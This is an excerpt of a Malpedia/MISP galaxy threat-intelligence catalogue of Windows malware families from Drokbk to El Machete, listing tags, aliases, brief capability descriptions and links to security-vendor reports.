https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html

Drokbk

Drokbk stands out for its use of the GitHub platform as part of its C&C infrastructure. This makes it difficult to detect and remove, as GitHub is not traditionally associated with malicious activities.

Drokbk attacks have been linked to the Iranian APT group Nemesis Kitten. This group is believed to use Drokbk for cyberespionage and financial information theft activities.

The tag is: *misp-galaxy:malpedia="Drokbk"*

Drokbk is also known as:

Table 3748. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.drokbk
https://www.microsoft.com/en-us/security/blog/2023/04/18/nation-state-threat-actor-mint-sandstorm-refines-tradecraft-to-attack-high-value-targets/
https://www.secureworks.com/blog/drokbk-malware-uses-github-as-dead-drop-resolver
https://www.esentire.com/blog/exploitation-of-vmware-horizon-servers-by-tunnelvision-threat-actor

DropBook

DropBook is a backdoor developed by the Molerats group and first appeared in late 2020. The backdoor abuses Facebook and Dropbox platforms for C2 purposes, where fake Facebook accounts are used by the operators to control the backdoor by posting commands on the accounts.

The tag is: *misp-galaxy:malpedia="DropBook"*

DropBook is also known as:

Table 3749. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dropbook
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

DROPSHOT

The tag is: *misp-galaxy:malpedia="DROPSHOT"*

DROPSHOT is also known as:

Table 3750. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Dtrack

Dtrack is a Remote Administration Tool (RAT) developed by the Lazarus group. Its core functionality includes operations to upload a file to the victim's computer, download a file from the victim's computer, dump disk volume data, persistence and more.

A variant of Dtrack was found on Kudankulam Nuclear Power Plant (KNPP) which was used for a targeted attack.

The tag is: *misp-galaxy:malpedia="Dtrack"*

Dtrack is also known as:

- Preft
- TroyRAT

Table 3751. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.cyberbit.com/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://unit42.paloaltonetworks.com/north-korean-threat-group-play-ransomware/
https://blog.macnica.net/blog/2020/11/dtrack.html
https://marcoramilli.com/2019/11/04/is-lazarus-apt38-targeting-critical-infrastructures/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-espionage
https://securelist.com/my-name-is-dtrack/93338/
https://twitter.com/ShadowChasing1/status/1399369260577681426?s=20
https://securelist.com/apt-trends-report-q3-2020/99204/
https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/dtrack_lazarus_group.md

https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF
https://securelist.com/dtrack-targeting-europe-latin-america/107798/
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf
https://www.cyberbit.com/dtrack-apt-malware-found-in-nuclear-power-plant/
https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/

DualToy (Windows)

The tag is: *misp-galaxy:malpedia="DualToy (Windows)"*

DualToy (Windows) is also known as:

Table 3752. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dualtoy
https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

DarkHotel

The tag is: *misp-galaxy:malpedia="DarkHotel"*

DarkHotel is also known as:

Table 3753. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubnium_darkhotel
http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/
https://www.reuters.com/article/us-health-coronavirus-who-hack-exclusive/exclusive-elite-hackers-target-who-as-coronavirus-cyberattacks-spike-idUSKBN21A3BN

DUBrute

The tag is: *misp-galaxy:malpedia="DUBrute"*

DUBrute is also known as:

Table 3754. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute
https://github.com/ch0sys/DUBrute

DUCKTAIL

According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.

The tag is: *misp-galaxy:malpedia="DUCKTAIL"*

DUCKTAIL is also known as:

Table 3755. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail
https://www.f-secure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf
https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
https://yoroi.company/research/ducktail-dissecting-a-complex-infection-chain-started-from-social-engineering/
https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/
https://securelist.com/ducktail-fashion-week/111017/
https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/
https://www.deepinstinct.com/blog/ducktail-threat-operation-re-emerges-with-new-lnk-powershell-and-other-custom-tactics-to-avoid-detection
https://www.appgate.com/blog/vietnamese-information-stealer-campaigns-target-professionals-on-linkedin
https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf
https://www.zscaler.com/blogs/security-research/look-ducktail
https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf

Dumador

The tag is: *misp-galaxy:malpedia="Dumador"*

Dumador is also known as:

Table 3756. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador

DuQu

The tag is: *misp-galaxy:malpedia="DuQu"*

DuQu is also known as:

Table 3757. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu
https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html
https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddeef8be63a4757/202304114e0fa0f4fd1d408aaddeef8be63a4757_20230411161526_0531.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet_research.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
https://docs.broadcom.com/doc/w32-duqu-11-en
https://cocomelonc.github.io/malware/2025/02/24/malware-tricks-45.html
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/

DUSTMAN

In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named "DUSTMAN" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim's network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack "DUSTMAN" after the filename and string embedded in the malware. "DUSTMAN" can be considered as a new variant of "ZeroCleare" malware, published in December 2019.

The tag is: *misp-galaxy:malpedia="DUSTMAN"*

DUSTMAN is also known as:

Table 3758. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman
https://www.scribd.com/document/442225568/Saudi-Arabia-CNA-report

https://twitter.com/Irfan_Asrar/status/1213544175355908096
https://www.linkedin.com/posts/iasrar_dustman-report-in-english-activity-6619216346083393537-NV1z/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://swapcontext.blogspot.com/2020/01/dustman-apt-art-of-copy-paste.html
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

DUSTPAN

The tag is: *misp-galaxy:malpedia="DUSTPAN"*

DUSTPAN is also known as:

- StealthVector

Table 3759. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dustpan
https://www.lac.co.jp/lacwatch/report/20210521_002618.html
https://www.zscaler.com/blogs/security-research/dodgebox-deep-dive-updated-arsenal-apt41-part-1
https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf
https://www.trendmicro.com/en_us/research/24/h/earth-baku-latest-campaign.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/earth-baku-returns
https://www.volexity.com/blog/2024/08/02/stormbamboo-compromises-isp-to-abuse-insecure-software-update-mechanisms/

DUSTTRAP

The tag is: *misp-galaxy:malpedia="DUSTTRAP"*

DUSTTRAP is also known as:

- CurveLoad
- DodgeBox
- StealthReacher

Table 3760. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dusttrap
https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust?hl=en
https://www.zscaler.com/blogs/security-research/dodgebox-deep-dive-updated-arsenal-apt41-part-1

Duuzer

The tag is: *misp-galaxy:malpedia="Duuzer"*

Duuzer is also known as:

- Escad

Table 3761. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.secureworks.com/research/threat-profiles/nickel-academy

DYEPACK

The tag is: *misp-galaxy:malpedia="DYEPACK"*

DYEPACK is also known as:

- BanSwift
- swift

Table 3762. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.anomali.com/blog/evidence-of-stronger-ties-between-north-korea-and-swift-banking-attacks
https://github.com/649/APT38-DYEPACK

https://securelist.com/blog/sas/77908/lazarus-under-the-hood/
https://securelist.com/lazarus-under-the-hood/77908/
https://content.fireeye.com/apt/rpt-apt38
https://media.ccc.de/v/froscon2021-2670-der_cyber-bankraub_von_bangladesch
https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks

dynamichttp

According to its source repository, dynamichttp is a Mythic C2 Profile, which simply provides a way to get HTTP messages off the wire and forward them to the Mythic server.

The tag is: *misp-galaxy:malpedia="dynamichttp"*

dynamichttp is also known as:

Table 3763. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dynamichttp
https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/

DynamicStealer

Dynamic Stealer is a Github Project C# written code by L1ghtN4n. This code collects passwords and uploads these to Telegram. According to Cyble this Eternity Stealer leverages code from this project and also Jester Stealer could be rebranded from it.

The tag is: *misp-galaxy:malpedia="DynamicStealer"*

DynamicStealer is also known as:

Table 3764. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dynamicstealer
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/

Dyre

The Dyre Banking Trojan, discovered in June 2014, targets online banking websites for credential theft and fraud. It uses a man-in-the-browser approach, encryption, and spam emails for distribution.

Dyre's architecture includes a dropper and main DLL module, with techniques for persistence and

evasion. Its command and control infrastructure is hidden through proxies, and it can adapt using a domain generation algorithm and I2P integration. Researchers have linked Dyre to the Gozi and Neverquest families.

The tag is: *misp-galaxy:malpedia="Dyre"*

Dyre is also known as:

- Dyreza

Table 3765. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre
https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html
http://www.secureworks.com/research/threat-profiles/gold-blackburn
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/
https://www.secureworks.com/research/threat-profiles/gold-blackburn
https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://www.secureworks.com/research/dyre-banking-trojan
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/

EagerBee

According to Elastic, EagerBee loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques. During their research, they identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).

The tag is: *misp-galaxy:malpedia="EagerBee"*

EagerBee is also known as:

- Thumtais

Table 3766. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eagerbee
https://www.lac.co.jp/lacwatch/report/20240605_004019.html
https://www.lac.co.jp/lacwatch/report/20250514_004379.html
https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set
https://securelist.com/eagerbee-backdoor/115175/

EagleMonitorRAT

This RAT written in C# was derived from HorusEyesRat. It was modified by "Arsium" and published on GitHub. There is also a client builder included. Github Source: https://github.com/arsium/EagleMonitorRAT

The tag is: *misp-galaxy:malpedia="EagleMonitorRAT"*

EagleMonitorRAT is also known as:

Table 3767. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eagle_monitor_rat
https://blog.cyble.com/2022/04/18/under-the-lens-eagle-monitor-rat/

EASYNIGHT

FireEye describes EASYNIGHT is a loader observed used with several malware families, including HIGHNOON and HIGHNOON.LITE. The loader often acts as a persistence mechanism via search order hijacking.

Examples include a patched bcrypt.dll with no other modification than an additional import entry, in the observed case "printwin.dll!gzwrite64" (breaking the file signature).

The tag is: *misp-galaxy:malpedia="EASYNIGHT"*

EASYNIGHT is also known as:

Table 3768. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.easynight
https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/

https://content.fireeye.com/api/pdfproxy?id=86840

Easy Stealer

Easy Stealer is a new information stealer written in Golang that is under active development. Since July 2023, the information stealer has been sold on the underground market, advertising a variety of capabilities, such as the ability to target crypto wallets and passwords. Based on VirusTotal data, it appears that developer test samples were uploaded in June 2023. The panel for the stealer is installed on the buyer's own infrastructure, allowing for exclusive control. The stated pricing models are: $35 for 7 days, $115 for 30 days, and $250 for 90 days. Given its user-friendly panel design and the affordable price range, combined with similar capabilities to other information stealers, Easy Stealer is likely to see an increase in distribution among various cyber criminals as it continues through active development.

The tag is: *misp-galaxy:malpedia="Easy Stealer"*

Easy Stealer is also known as:

Table 3769. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.easystealer
https://www.bridewell.com/insights/blogs/detail/uncovering-the-easy-stealer-infostealer

Echelon

The tag is: *misp-galaxy:malpedia="Echelon"*

Echelon is also known as:

- Echelon-Stealer

Table 3770. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.echelon
https://www.safeguardcyber.com/blog/security/echelon-malware-crypto-wallet-stealer-malware

EDA2

EDA2 is a successor of HiddenTear. Just like HiddenTear it was developed as an open-source project by a security researcher and published on Github. It was meant as "educational ransomware" and purposefully had flaws in the encryption process that allow decryption of ransomed files.

This backfired, when threat actors began to modify HiddenTear and EDA2 source code. Some modifications introduced bugs where encrypted files were destroyed, others fixed the encryption flaws and made decryption without a key impossible.

The tag is: *misp-galaxy:malpedia="EDA2"*

EDA2 is also known as:

Table 3771. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eda2_ransom
https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/
https://github.com/utkusen/eda2
https://www.bleepingcomputer.com/news/security/hidden-tear-ransomware-developer-blackmailed-by-malware-developers-using-his-code/
https://twitter.com/JaromirHorejsi/status/815861135882780673
https://utkusen.com/blog/im-sorry-for-hidden-tear-eda2

Edam

According to Orange Cyberdefense, Edam is written in C++ and its PDB path indicates it is called "droper_dll". It is capable of establishing persistence by setting up a Run key as Setting App which points towards its own file and then of downloading from another C2 a final stage using HTTP GET.

The tag is: *misp-galaxy:malpedia="Edam"*

Edam is also known as:

- SECONDBEST

Table 3772. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.edam
https://strikeready.com/blog/ru-apt-targeting-energy-infrastructure-unknown-unknowns-part-3/
https://github.com/cert-orangecyberdefense/edam

EDDIESTEALER

According to Elastic Security Labs, this is a newly discovered Rust infostealer targeting Windows hosts, which receives a task list from the C2 server identifying data to target.

The tag is: *misp-galaxy:malpedia="EDDIESTEALER"*

EDDIESTEALER is also known as:

Table 3773. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.eddiestealer	
https://www.elastic.co/security-labs/eddiestealer	

EDRSilencer

Trend Micro describes EDRSilencer as a red team tool originally designed to interfere with endpoint detection and response solutions via the Windows Filtering Platform, which is actively being used by threat actors.

The tag is: *misp-galaxy:malpedia="EDRSilencer"*

EDRSilencer is also known as:

Table 3774. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.edr_silencer
https://www.trendmicro.com/en_us/research/24/j/edrsilencer-disrupting-endpoint-security-solutions.html

Egregor

According to Heimdal, Egregor ransomware infection happens via a loader, then, in the victim's firewall, it enables the Remote Desktop Protocol. After this part, the malware is free to move inside the victim's network, identifying and disabling all the antivirus software it can find. The next step is the encryption of the data and the insertion of a ransom note named "RECOVER-FILES.txt" in all the compromised folders.

The tag is: *misp-galaxy:malpedia="Egregor"*

Egregor is also known as:

Table 3775. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.egregor
https://id-ransomware.blogspot.com/2020/09/egregor-ransomware.html
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://www.bleepingcomputer.com/news/security/metro-vancouvers-transit-system-hit-by-egregor-ransomware/
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer

https://blog.malwarebytes.com/ransomware/2020/12/threat-profile-egregor-ransomware-is-making-a-name-for-itself/

https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html

https://securelist.com/targeted-ransomware-encrypting-data/99255/

https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/

https://www.bleepingcomputer.com/news/security/retail-giant-cencosud-hit-by-egregor-ransomware-attack-stores-impacted/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.justice.gov/opa/pr/foreign-national-pleads-guilty-role-cybercrime-schemes-involving-tens-millions-dollars

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/

https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/EGREGOR%20REPORT%20WEB%20FINAL.pdf

https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/

https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis

https://www.bleepingcomputer.com/news/security/barnes-and-noble-hit-by-egregor-ransomware-strange-data-leaked/

https://ssu.gov.ua/en/novyny/sbu-zablokuvala-diialnist-transnatsionalnoho-khakerskoho-uhrupovannia

https://www.bleepingcomputer.com/news/security/largest-global-staffing-agency-randstad-hit-by-egregor-ransomware/

https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf

https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/

https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://www.bleepingcomputer.com/news/security/zeus-icedid-malware-gangs-leader-pleads-guilty-faces-40-years-in-prison/

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://areteir.com/wp-content/uploads/2021/01/01182021_Egregor_Insight.pdf

https://securityintelligence.com/posts/egregor-ransomware-negotiations-uncovered/

https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/

https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/

https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/

https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://www.trendmicro.com/en_us/research/20/l/egregor-ransomware-launches-string-of-high-profile-attacks-to-en.html

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://intel471.com/blog/egregor-arrests-ukraine-sbu-maze-ransomware

https://www.group-ib.com/blog/egregor

https://www.bleepingcomputer.com/news/security/kmart-nationwide-retailer-suffers-a-ransomware-attack/

https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://twitter.com/redcanary/status/1334224861628039169

https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html

https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf

https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://therecord.media/frances-lead-cybercrime-investigator-on-the-egregor-arrests-cybercrime/
https://www.intrinsec.com/egregor-prolock/
https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/
https://www.zdnet.com/article/ubisoft-crytek-data-posted-on-ransomware-gangs-site/
https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bleepingcomputer.com/news/security/translink-confirms-ransomware-data-theft-still-restoring-systems/
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/
https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html
https://blog.emsisoft.com/en/37810/ransomware-profile-egregor/
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html
https://unit42.paloaltonetworks.com/egregor-ransomware-courses-of-action/

EHDevel

The tag is: *misp-galaxy:malpedia="EHDevel"*

EHDevel is also known as:

Table 3776. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel
https://www.bitdefender.com/blog/labs/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/
https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/

Ekipa RAT

The tag is: *misp-galaxy:malpedia="Ekipa RAT"*

Ekipa RAT is also known as:

Table 3777. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ekipa
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/malicious-macros-adapt-to-use-microsoft-publisher-to-push-ekipa-rat/

ELECTRICFISH

The application is a command-line utility and its primary purpose is to tunnel traffic between two IP addresses. The application accepts command-line arguments allowing it to be configured with a destination IP address and port, a source IP address and port, a proxy IP address and port, and a user name and password, which can be utilized to authenticate with a proxy server. It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.

The tag is: *misp-galaxy:malpedia="ELECTRICFISH"*

ELECTRICFISH is also known as:

Table 3778. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish
https://www.us-cert.gov/ncas/analysis-reports/AR19-129A
https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

ElectricPowder

The tag is: *misp-galaxy:malpedia="ElectricPowder"*

ElectricPowder is also known as:

Table 3779. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder
https://www.clearskysec.com/iec/

Elirks

Elirks is a basic backdoor Trojan, first discovered in 2010, that is primarily used to steal

information from compromised systems. Mostly attacks using Elirks occurring in East Asia. One of the unique features of the malware is that it retrieves its C2 address by accessing a pre-determined microblog service or SNS. Attackers create accounts on those services and post encoded IP addresses or the domain names of real C2 servers in advance of distributing the backdoor. Multiple Elirks variants using Japanese blog services for the last couple of years.

The tag is: *misp-galaxy:malpedia="Elirks"*

Elirks is also known as:

Table 3780. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/
https://unit42.paloaltonetworks.com/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/

Elise

The tag is: *misp-galaxy:malpedia="Elise"*

Elise is also known as:

- EVILNEST

Table 3781. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elise
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://www.secureworks.com/research/threat-profiles/bronze-elgin
https://documents.trendmicro.com/assets/threat-reports/rpt-1h-2014-targeted-attack-trends-in-asia-pacific.pdf
https://www.accenture.com/t20180127T003755Z*w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf
https://www.joesecurity.org/blog/8409877569366580427
https://securelist.com/blog/research/70726/the-spring-dragon-apt/
https://www.fireeye.com/blog/threat-research/2020/04/code-grafting-to-unpack-malware-in-emulation.html

https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf
https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/

ElizaRAT

The tag is: *misp-galaxy:malpedia="ElizaRAT"*

ElizaRAT is also known as:

Table 3782. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eliza_rat
https://www.reco.ai/blog/how-apt36-elizarat-redefines-cyber-espionage
https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal

El Machete APT Backdoor Dropper

This dropper masquerades itself as Adobe software, titled as Adobe.msi. It is used to executes the python written Backdoor used by this threat actor.

The tag is: *misp-galaxy:malpedia="El Machete APT Backdoor Dropper"*

El Machete APT Backdoor Dropper is also known as:

Table 3783. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elmachete_dropper_2022
